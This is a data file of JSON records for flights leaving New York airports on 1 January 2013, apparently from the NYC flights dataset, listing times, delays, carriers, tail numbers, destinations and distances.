-{"year":2013,"month":1,"day":1,"dep_time":2008,"sched_dep_time":2015,"dep_delay":-7,"arr_time":2206,"sched_arr_time":2210,"arr_delay":-4,"carrier":"MQ","flight":4555,"tailnum":"N734MQ","origin":"LGA","dest":"CMH","air_time":91,"distance":479,"hour":20,"minute":15,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2009,"sched_dep_time":1808,"dep_delay":121,"arr_time":2145,"sched_arr_time":1942,"arr_delay":123,"carrier":"EV","flight":4440,"tailnum":"N14143","origin":"EWR","dest":"PIT","air_time":65,"distance":319,"hour":18,"minute":8,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2012,"sched_dep_time":2016,"dep_delay":-4,"arr_time":2154,"sched_arr_time":2158,"arr_delay":-4,"carrier":"UA","flight":1204,"tailnum":"N24715","origin":"EWR","dest":"CLE","air_time":77,"distance":404,"hour":20,"minute":16,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2013,"sched_dep_time":2015,"dep_delay":-2,"arr_time":2120,"sched_arr_time":2130,"arr_delay":-10,"carrier":"AA","flight":1762,"tailnum":"N3BNAA","origin":"JFK","dest":"BOS","air_time":35,"distance":187,"hour":20,"minute":15,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2015,"sched_dep_time":2005,"dep_delay":10,"arr_time":2149,"sched_arr_time":2144,"arr_delay":5,"carrier":"9E","flight":3320,"tailnum":"N931XJ","origin":"JFK","dest":"BUF","air_time":62,"distance":301,"hour":20,"minute":5,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2016,"sched_dep_time":1930,"dep_delay":46,"sched_arr_time":2220,"carrier":"EV","flight":4204,"tailnum":"N14168","origin":"EWR","dest":"OKC","distance":1325,"hour":19,"minute":30,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2016,"sched_dep_time":1940,"dep_delay":36,"arr_time":2215,"sched_arr_time":2125,"arr_delay":50,"carrier":"MQ","flight":3783,"tailnum":"N509MQ","origin":"JFK","dest":"CMH","air_time":99,"distance":483,"hour":19,"minute":40,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2017,"sched_dep_time":1935,"dep_delay":42,"arr_time":2223,"sched_arr_time":2136,"arr_delay":47,"carrier":"9E","flight":3899,"tailnum":"N8444F","origin":"JFK","dest":"CLE","air_time":91,"distance":425,"hour":19,"minute":35,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2017,"sched_dep_time":2015,"dep_delay":2,"arr_time":2318,"sched_arr_time":2321,"arr_delay":-3,"carrier":"B6","flight":47,"tailnum":"N593JB","origin":"JFK","dest":"FLL","air_time":149,"distance":1069,"hour":20,"minute":15,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2018,"sched_dep_time":2020,"dep_delay":-2,"arr_time":2314,"sched_arr_time":2324,"arr_delay":-10,"carrier":"UA","flight":1299,"tailnum":"N13718","origin":"EWR","dest":"RSW","air_time":157,"distance":1068,"hour":20,"minute":20,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2020,"sched_dep_time":2030,"dep_delay":-10,"arr_time":2148,"sched_arr_time":2155,"arr_delay":-7,"carrier":"FL","flight":354,"tailnum":"N895AT","origin":"LGA","dest":"CAK","air_time":73,"distance":397,"hour":20,"minute":30,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2021,"sched_dep_time":2025,"dep_delay":-4,"arr_time":2351,"sched_arr_time":2341,"arr_delay":10,"carrier":"B6","flight":1069,"tailnum":"N203JB","origin":"JFK","dest":"AUS","air_time":255,"distance":1521,"hour":20,"minute":25,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2023,"sched_dep_time":1945,"dep_delay":38,"arr_time":2240,"sched_arr_time":2206,"arr_delay":34,"carrier":"9E","flight":3352,"tailnum":"N602LR","origin":"JFK","dest":"CVG","air_time":118,"distance":589,"hour":19,"minute":45,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2024,"sched_dep_time":1835,"dep_delay":109,"arr_time":2328,"sched_arr_time":2157,"arr_delay":91,"carrier":"B6","flight":359,"tailnum":"N607JB","origin":"JFK","dest":"BUR","air_time":328,"distance":2465,"hour":18,"minute":35,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2025,"sched_dep_time":2030,"dep_delay":-5,"arr_time":2334,"sched_arr_time":2348,"arr_delay":-14,"carrier":"DL","flight":1318,"tailnum":"N3740C","origin":"JFK","dest":"FLL","air_time":157,"distance":1069,"hour":20,"minute":30,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2025,"sched_dep_time":2028,"dep_delay":-3,"arr_time":2358,"sched_arr_time":2351,"arr_delay":7,"carrier":"UA","flight":1615,"tailnum":"N76516","origin":"EWR","dest":"AUS","air_time":248,"distance":1504,"hour":20,"minute":28,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2026,"sched_dep_time":2004,"dep_delay":22,"arr_time":2157,"sched_arr_time":2133,"arr_delay":24,"carrier":"EV","flight":4224,"tailnum":"N11189","origin":"EWR","dest":"MKE","air_time":130,"distance":725,"hour":20,"minute":4,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2026,"sched_dep_time":1930,"dep_delay":56,"arr_time":2319,"sched_arr_time":2229,"arr_delay":50,"carrier":"B6","flight":39,"tailnum":"N558JB","origin":"JFK","dest":"PBI","air_time":150,"distance":1028,"hour":19,"minute":30,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2026,"sched_dep_time":1955,"dep_delay":31,"arr_time":2205,"sched_arr_time":2120,"arr_delay":45,"carrier":"WN","flight":195,"tailnum":"N957WN","origin":"EWR","dest":"MDW","air_time":134,"distance":711,"hour":19,"minute":55,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2030,"sched_dep_time":2030,"dep_delay":0,"arr_time":2132,"sched_arr_time":2139,"arr_delay":-7,"carrier":"EV","flight":4660,"tailnum":"N14203","origin":"EWR","dest":"MHT","air_time":33,"distance":209,"hour":20,"minute":30,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2030,"sched_dep_time":2045,"dep_delay":-15,"arr_time":2150,"sched_arr_time":2225,"arr_delay":-35,"carrier":"AA","flight":371,"tailnum":"N545AA","origin":"LGA","dest":"ORD","air_time":126,"distance":733,"hour":20,"minute":45,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2030,"sched_dep_time":2035,"dep_delay":-5,"arr_time":2354,"sched_arr_time":2342,"arr_delay":12,"carrier":"B6","flight":629,"tailnum":"N192JB","origin":"JFK","dest":"HOU","air_time":245,"distance":1428,"hour":20,"minute":35,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2030,"sched_dep_time":2030,"dep_delay":0,"arr_time":2308,"sched_arr_time":2258,"arr_delay":10,"carrier":"B6","flight":115,"tailnum":"N267JB","origin":"JFK","dest":"MSY","air_time":195,"distance":1182,"hour":20,"minute":30,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2031,"sched_dep_time":2030,"dep_delay":1,"arr_time":2344,"sched_arr_time":2335,"arr_delay":9,"carrier":"UA","flight":834,"tailnum":"N822UA","origin":"EWR","dest":"IAH","air_time":223,"distance":1400,"hour":20,"minute":30,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2033,"sched_dep_time":2034,"dep_delay":-1,"arr_time":2134,"sched_arr_time":2151,"arr_delay":-17,"carrier":"UA","flight":994,"tailnum":"N486UA","origin":"EWR","dest":"BOS","air_time":35,"distance":200,"hour":20,"minute":34,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2035,"sched_dep_time":2030,"dep_delay":5,"arr_time":2337,"sched_arr_time":5,"arr_delay":-28,"carrier":"UA","flight":1482,"tailnum":"N38268","origin":"EWR","dest":"LAX","air_time":333,"distance":2454,"hour":20,"minute":30,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2037,"sched_dep_time":2010,"dep_delay":27,"arr_time":2224,"sched_arr_time":2150,"arr_delay":34,"carrier":"EV","flight":4356,"tailnum":"N15572","origin":"EWR","dest":"RDU","air_time":78,"distance":416,"hour":20,"minute":10,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2040,"sched_dep_time":2040,"dep_delay":0,"arr_time":2317,"sched_arr_time":2314,"arr_delay":3,"carrier":"B6","flight":619,"tailnum":"N184JB","origin":"JFK","dest":"JAX","air_time":131,"distance":828,"hour":20,"minute":40,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2046,"sched_dep_time":2035,"dep_delay":11,"arr_time":2144,"sched_arr_time":2213,"arr_delay":-29,"carrier":"9E","flight":3357,"tailnum":"N916XJ","origin":"JFK","dest":"DCA","air_time":43,"distance":213,"hour":20,"minute":35,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2046,"sched_dep_time":2050,"dep_delay":-4,"arr_time":2328,"sched_arr_time":2356,"arr_delay":-28,"carrier":"UA","flight":926,"tailnum":"N414UA","origin":"EWR","dest":"MCO","air_time":136,"distance":937,"hour":20,"minute":50,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2050,"sched_dep_time":1959,"dep_delay":51,"arr_time":2229,"sched_arr_time":2144,"arr_delay":45,"carrier":"MQ","flight":4423,"tailnum":"N853MQ","origin":"JFK","dest":"RDU","air_time":83,"distance":427,"hour":19,"minute":59,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2052,"sched_dep_time":2029,"dep_delay":23,"arr_time":2349,"sched_arr_time":2350,"arr_delay":-1,"carrier":"B6","flight":165,"tailnum":"N536JB","origin":"JFK","dest":"PDX","air_time":331,"distance":2454,"hour":20,"minute":29,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2052,"sched_dep_time":2045,"dep_delay":7,"arr_time":2357,"sched_arr_time":2359,"arr_delay":-2,"carrier":"B6","flight":147,"tailnum":"N535JB","origin":"JFK","dest":"RSW","air_time":163,"distance":1074,"hour":20,"minute":45,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2053,"sched_dep_time":2055,"dep_delay":-2,"arr_time":2254,"sched_arr_time":2250,"arr_delay":4,"carrier":"MQ","flight":4573,"tailnum":"N730MQ","origin":"LGA","dest":"DTW","air_time":102,"distance":502,"hour":20,"minute":55,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2055,"sched_dep_time":2100,"dep_delay":-5,"arr_time":2350,"sched_arr_time":2355,"arr_delay":-5,"carrier":"UA","flight":380,"tailnum":"N441UA","origin":"EWR","dest":"PBI","air_time":142,"distance":1023,"hour":21,"minute":0,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2056,"sched_dep_time":2004,"dep_delay":52,"arr_time":2156,"sched_arr_time":2112,"arr_delay":44,"carrier":"EV","flight":4170,"tailnum":"N12540","origin":"EWR","dest":"ALB","air_time":31,"distance":143,"hour":20,"minute":4,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2056,"sched_dep_time":1944,"dep_delay":72,"arr_time":2210,"sched_arr_time":2109,"arr_delay":61,"carrier":"EV","flight":4692,"tailnum":"N11536","origin":"EWR","dest":"IAD","air_time":51,"distance":212,"hour":19,"minute":44,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2056,"sched_dep_time":2100,"dep_delay":-4,"arr_time":2337,"sched_arr_time":2343,"arr_delay":-6,"carrier":"B6","flight":399,"tailnum":"N510JB","origin":"LGA","dest":"MCO","air_time":140,"distance":950,"hour":21,"minute":0,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2056,"sched_dep_time":2100,"dep_delay":-4,"arr_time":2240,"sched_arr_time":2235,"arr_delay":5,"carrier":"MQ","flight":4507,"tailnum":"N856MQ","origin":"LGA","dest":"RDU","air_time":77,"distance":431,"hour":21,"minute":0,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2057,"sched_dep_time":2100,"dep_delay":-3,"arr_time":2237,"sched_arr_time":2220,"arr_delay":17,"carrier":"MQ","flight":3744,"tailnum":"N521MQ","origin":"EWR","dest":"ORD","air_time":133,"distance":719,"hour":21,"minute":0,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2058,"sched_dep_time":2100,"dep_delay":-2,"arr_time":2342,"sched_arr_time":2317,"arr_delay":25,"carrier":"EV","flight":4088,"tailnum":"N14953","origin":"EWR","dest":"SDF","air_time":136,"distance":642,"hour":21,"minute":0,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2058,"sched_dep_time":2100,"dep_delay":-2,"arr_time":2235,"sched_arr_time":2230,"arr_delay":5,"carrier":"WN","flight":946,"tailnum":"N509SW","origin":"LGA","dest":"MDW","air_time":134,"distance":725,"hour":21,"minute":0,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2058,"sched_dep_time":2100,"dep_delay":-2,"arr_time":8,"sched_arr_time":2359,"arr_delay":9,"carrier":"UA","flight":1241,"tailnum":"N27724","origin":"EWR","dest":"TPA","air_time":159,"distance":997,"hour":21,"minute":0,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2100,"sched_dep_time":2100,"dep_delay":0,"arr_time":2307,"sched_arr_time":2250,"arr_delay":17,"carrier":"MQ","flight":4584,"tailnum":"N0EGMQ","origin":"LGA","dest":"CLT","air_time":101,"distance":544,"hour":21,"minute":0,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2101,"sched_dep_time":2050,"dep_delay":11,"arr_time":2156,"sched_arr_time":2202,"arr_delay":-6,"carrier":"B6","flight":1020,"tailnum":"N587JB","origin":"JFK","dest":"BOS","air_time":34,"distance":187,"hour":20,"minute":50,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2102,"sched_dep_time":2108,"dep_delay":-6,"arr_time":146,"sched_arr_time":158,"arr_delay":-12,"carrier":"UA","flight":1180,"tailnum":"N78511","origin":"EWR","dest":"SJU","air_time":199,"distance":1608,"hour":21,"minute":8,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2103,"sched_dep_time":2110,"dep_delay":-7,"arr_time":2345,"sched_arr_time":17,"arr_delay":-32,"carrier":"DL","flight":1668,"tailnum":"N3738B","origin":"JFK","dest":"LAS","air_time":309,"distance":2248,"hour":21,"minute":10,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2107,"sched_dep_time":2040,"dep_delay":27,"arr_time":2354,"sched_arr_time":2359,"arr_delay":-5,"carrier":"B6","flight":677,"tailnum":"N779JB","origin":"JFK","dest":"LAX","air_time":323,"distance":2475,"hour":20,"minute":40,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2108,"sched_dep_time":2057,"dep_delay":11,"arr_time":25,"sched_arr_time":39,"arr_delay":-14,"carrier":"UA","flight":1517,"tailnum":"N17245","origin":"EWR","dest":"SFO","air_time":354,"distance":2565,"hour":20,"minute":57,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2109,"sched_dep_time":2115,"dep_delay":-6,"arr_time":2351,"sched_arr_time":2357,"arr_delay":-6,"carrier":"B6","flight":529,"tailnum":"N796JB","origin":"EWR","dest":"MCO","air_time":138,"distance":937,"hour":21,"minute":15,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2110,"sched_dep_time":2020,"dep_delay":50,"arr_time":2340,"sched_arr_time":2245,"arr_delay":55,"carrier":"MQ","flight":4662,"tailnum":"N532MQ","origin":"LGA","dest":"ATL","air_time":127,"distance":762,"hour":20,"minute":20,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2115,"sched_dep_time":2110,"dep_delay":5,"arr_time":2240,"sched_arr_time":2223,"arr_delay":17,"carrier":"EV","flight":4119,"tailnum":"N15986","origin":"EWR","dest":"RIC","air_time":65,"distance":277,"hour":21,"minute":10,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2115,"sched_dep_time":1700,"dep_delay":255,"arr_time":2330,"sched_arr_time":1920,"arr_delay":250,"carrier":"9E","flight":3347,"tailnum":"N924XJ","origin":"JFK","dest":"CVG","air_time":115,"distance":589,"hour":17,"minute":0,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2116,"sched_dep_time":2110,"dep_delay":6,"arr_time":2202,"sched_arr_time":2212,"arr_delay":-10,"carrier":"EV","flight":4404,"tailnum":"N15912","origin":"EWR","dest":"PVD","air_time":28,"distance":160,"hour":21,"minute":10,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2119,"sched_dep_time":1930,"dep_delay":109,"arr_time":2358,"sched_arr_time":2136,"arr_delay":142,"carrier":"EV","flight":4543,"tailnum":"N13123","origin":"EWR","dest":"DSM","air_time":200,"distance":1017,"hour":19,"minute":30,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2120,"sched_dep_time":2130,"dep_delay":-10,"arr_time":16,"sched_arr_time":18,"arr_delay":-2,"carrier":"B6","flight":383,"tailnum":"N603JB","origin":"LGA","dest":"FLL","air_time":160,"distance":1076,"hour":21,"minute":30,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2121,"sched_dep_time":2040,"dep_delay":41,"arr_time":6,"sched_arr_time":2323,"arr_delay":43,"carrier":"B6","flight":227,"tailnum":"N307JB","origin":"EWR","dest":"MCO","air_time":143,"distance":937,"hour":20,"minute":40,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2122,"sched_dep_time":2125,"dep_delay":-3,"arr_time":2312,"sched_arr_time":2250,"arr_delay":22,"carrier":"MQ","flight":4660,"tailnum":"N1EAMQ","origin":"LGA","dest":"BNA","air_time":153,"distance":764,"hour":21,"minute":25,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2128,"sched_dep_time":2135,"dep_delay":-7,"arr_time":26,"sched_arr_time":50,"arr_delay":-24,"carrier":"AA","flight":185,"tailnum":"N338AA","origin":"JFK","dest":"LAX","air_time":338,"distance":2475,"hour":21,"minute":35,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2128,"sched_dep_time":2125,"dep_delay":3,"arr_time":2243,"sched_arr_time":2240,"arr_delay":3,"carrier":"MQ","flight":4449,"tailnum":"N810MQ","origin":"JFK","dest":"DCA","air_time":54,"distance":213,"hour":21,"minute":25,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2129,"sched_dep_time":2120,"dep_delay":9,"arr_time":2342,"sched_arr_time":2351,"arr_delay":-9,"carrier":"B6","flight":97,"tailnum":"N625JB","origin":"JFK","dest":"DEN","air_time":223,"distance":1626,"hour":21,"minute":20,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2134,"sched_dep_time":2045,"dep_delay":49,"arr_time":20,"sched_arr_time":2352,"arr_delay":28,"carrier":"UA","flight":1106,"tailnum":"N27733","origin":"EWR","dest":"FLL","air_time":152,"distance":1065,"hour":20,"minute":45,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2136,"sched_dep_time":2145,"dep_delay":-9,"arr_time":25,"sched_arr_time":39,"arr_delay":-14,"carrier":"B6","flight":515,"tailnum":"N198JB","origin":"EWR","dest":"FLL","air_time":154,"distance":1065,"hour":21,"minute":45,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2140,"sched_dep_time":2135,"dep_delay":5,"arr_time":210,"sched_arr_time":224,"arr_delay":-14,"carrier":"B6","flight":701,"tailnum":"N284JB","origin":"JFK","dest":"SJU","air_time":189,"distance":1598,"hour":21,"minute":35,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2157,"sched_dep_time":2155,"dep_delay":2,"arr_time":43,"sched_arr_time":41,"arr_delay":2,"carrier":"B6","flight":43,"tailnum":"N537JB","origin":"JFK","dest":"MCO","air_time":140,"distance":944,"hour":21,"minute":55,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2158,"sched_dep_time":2200,"dep_delay":-2,"arr_time":2254,"sched_arr_time":2307,"arr_delay":-13,"carrier":"EV","flight":4103,"tailnum":"N14998","origin":"EWR","dest":"BWI","air_time":36,"distance":169,"hour":22,"minute":0,"time_hour":"2013-01-01 22:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2205,"sched_dep_time":1720,"dep_delay":285,"arr_time":46,"sched_arr_time":2040,"arr_delay":246,"carrier":"AA","flight":1999,"tailnum":"N5DNAA","origin":"EWR","dest":"MIA","air_time":146,"distance":1085,"hour":17,"minute":20,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2209,"sched_dep_time":2145,"dep_delay":24,"arr_time":58,"sched_arr_time":37,"arr_delay":21,"carrier":"B6","flight":35,"tailnum":"N608JB","origin":"JFK","dest":"PBI","air_time":143,"distance":1028,"hour":21,"minute":45,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2209,"sched_dep_time":2155,"dep_delay":14,"arr_time":2400,"sched_arr_time":2337,"arr_delay":23,"carrier":"B6","flight":1109,"tailnum":"N216JB","origin":"JFK","dest":"RDU","air_time":86,"distance":427,"hour":21,"minute":55,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2211,"sched_dep_time":2145,"dep_delay":26,"arr_time":2339,"sched_arr_time":2311,"arr_delay":28,"carrier":"B6","flight":104,"tailnum":"N228JB","origin":"JFK","dest":"BUF","air_time":64,"distance":301,"hour":21,"minute":45,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2217,"sched_dep_time":2229,"dep_delay":-12,"arr_time":249,"sched_arr_time":315,"arr_delay":-26,"carrier":"B6","flight":713,"tailnum":"N547JB","origin":"JFK","dest":"SJU","air_time":191,"distance":1598,"hour":22,"minute":29,"time_hour":"2013-01-01 22:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2217,"sched_dep_time":2130,"dep_delay":47,"arr_time":140,"sched_arr_time":27,"arr_delay":73,"carrier":"B6","flight":21,"tailnum":"N516JB","origin":"JFK","dest":"TPA","air_time":163,"distance":1005,"hour":21,"minute":30,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2221,"sched_dep_time":2000,"dep_delay":141,"arr_time":2331,"sched_arr_time":2124,"arr_delay":127,"carrier":"EV","flight":4462,"tailnum":"N13566","origin":"EWR","dest":"BUF","air_time":56,"distance":282,"hour":20,"minute":0,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2224,"sched_dep_time":2200,"dep_delay":24,"arr_time":2324,"sched_arr_time":2316,"arr_delay":8,"carrier":"EV","flight":4206,"tailnum":"N16561","origin":"EWR","dest":"PWM","air_time":47,"distance":284,"hour":22,"minute":0,"time_hour":"2013-01-01 22:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2229,"sched_dep_time":2159,"dep_delay":30,"arr_time":149,"sched_arr_time":100,"arr_delay":49,"carrier":"B6","flight":11,"tailnum":"N531JB","origin":"JFK","dest":"FLL","air_time":153,"distance":1069,"hour":21,"minute":59,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2240,"sched_dep_time":2245,"dep_delay":-5,"arr_time":2340,"sched_arr_time":2356,"arr_delay":-16,"carrier":"B6","flight":608,"tailnum":"N279JB","origin":"JFK","dest":"PWM","air_time":44,"distance":273,"hour":22,"minute":45,"time_hour":"2013-01-01 22:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2250,"sched_dep_time":2255,"dep_delay":-5,"arr_time":2352,"sched_arr_time":2359,"arr_delay":-7,"carrier":"B6","flight":1018,"tailnum":"N521JB","origin":"JFK","dest":"BOS","air_time":37,"distance":187,"hour":22,"minute":55,"time_hour":"2013-01-01 22:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2302,"sched_dep_time":2200,"dep_delay":62,"arr_time":2342,"sched_arr_time":2253,"arr_delay":49,"carrier":"EV","flight":4276,"tailnum":"N13903","origin":"EWR","dest":"BDL","air_time":24,"distance":116,"hour":22,"minute":0,"time_hour":"2013-01-01 22:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2306,"sched_dep_time":2245,"dep_delay":21,"arr_time":28,"sched_arr_time":5,"arr_delay":23,"carrier":"B6","flight":30,"tailnum":"N281JB","origin":"JFK","dest":"ROC","air_time":59,"distance":264,"hour":22,"minute":45,"time_hour":"2013-01-01 22:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2307,"sched_dep_time":2245,"dep_delay":22,"arr_time":32,"sched_arr_time":2357,"arr_delay":35,"carrier":"B6","flight":128,"tailnum":"N178JB","origin":"JFK","dest":"BTV","air_time":59,"distance":266,"hour":22,"minute":45,"time_hour":"2013-01-01 22:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2310,"sched_dep_time":2255,"dep_delay":15,"arr_time":24,"sched_arr_time":15,"arr_delay":9,"carrier":"B6","flight":112,"tailnum":"N646JB","origin":"JFK","dest":"BUF","air_time":57,"distance":301,"hour":22,"minute":55,"time_hour":"2013-01-01 22:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2312,"sched_dep_time":2000,"dep_delay":192,"arr_time":21,"sched_arr_time":2110,"arr_delay":191,"carrier":"EV","flight":4312,"tailnum":"N13958","origin":"EWR","dest":"DCA","air_time":44,"distance":199,"hour":20,"minute":0,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2323,"sched_dep_time":2200,"dep_delay":83,"arr_time":22,"sched_arr_time":2313,"arr_delay":69,"carrier":"EV","flight":4257,"tailnum":"N13538","origin":"EWR","dest":"BTV","air_time":44,"distance":266,"hour":22,"minute":0,"time_hour":"2013-01-01 22:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2326,"sched_dep_time":2130,"dep_delay":116,"arr_time":131,"sched_arr_time":18,"arr_delay":73,"carrier":"B6","flight":199,"tailnum":"N594JB","origin":"JFK","dest":"LAS","air_time":290,"distance":2248,"hour":21,"minute":30,"time_hour":"2013-01-01 21:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2327,"sched_dep_time":2250,"dep_delay":37,"arr_time":32,"sched_arr_time":2359,"arr_delay":33,"carrier":"B6","flight":22,"tailnum":"N639JB","origin":"JFK","dest":"SYR","air_time":45,"distance":209,"hour":22,"minute":50,"time_hour":"2013-01-01 22:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2343,"sched_dep_time":1724,"dep_delay":379,"arr_time":314,"sched_arr_time":1938,"arr_delay":456,"carrier":"EV","flight":4321,"tailnum":"N21197","origin":"EWR","dest":"MCI","air_time":222,"distance":1092,"hour":17,"minute":24,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2353,"sched_dep_time":2359,"dep_delay":-6,"arr_time":425,"sched_arr_time":445,"arr_delay":-20,"carrier":"B6","flight":739,"tailnum":"N591JB","origin":"JFK","dest":"PSE","air_time":195,"distance":1617,"hour":23,"minute":59,"time_hour":"2013-01-01 23:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2353,"sched_dep_time":2359,"dep_delay":-6,"arr_time":418,"sched_arr_time":442,"arr_delay":-24,"carrier":"B6","flight":707,"tailnum":"N794JB","origin":"JFK","dest":"SJU","air_time":185,"distance":1598,"hour":23,"minute":59,"time_hour":"2013-01-01 23:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2356,"sched_dep_time":2359,"dep_delay":-3,"arr_time":425,"sched_arr_time":437,"arr_delay":-12,"carrier":"B6","flight":727,"tailnum":"N588JB","origin":"JFK","dest":"BQN","air_time":186,"distance":1576,"hour":23,"minute":59,"time_hour":"2013-01-01 23:00:00"} -{"year":2013,"month":1,"day":1,"sched_dep_time":1630,"sched_arr_time":1815,"carrier":"EV","flight":4308,"tailnum":"N18120","origin":"EWR","dest":"RDU","distance":416,"hour":16,"minute":30,"time_hour":"2013-01-01 16:00:00"} 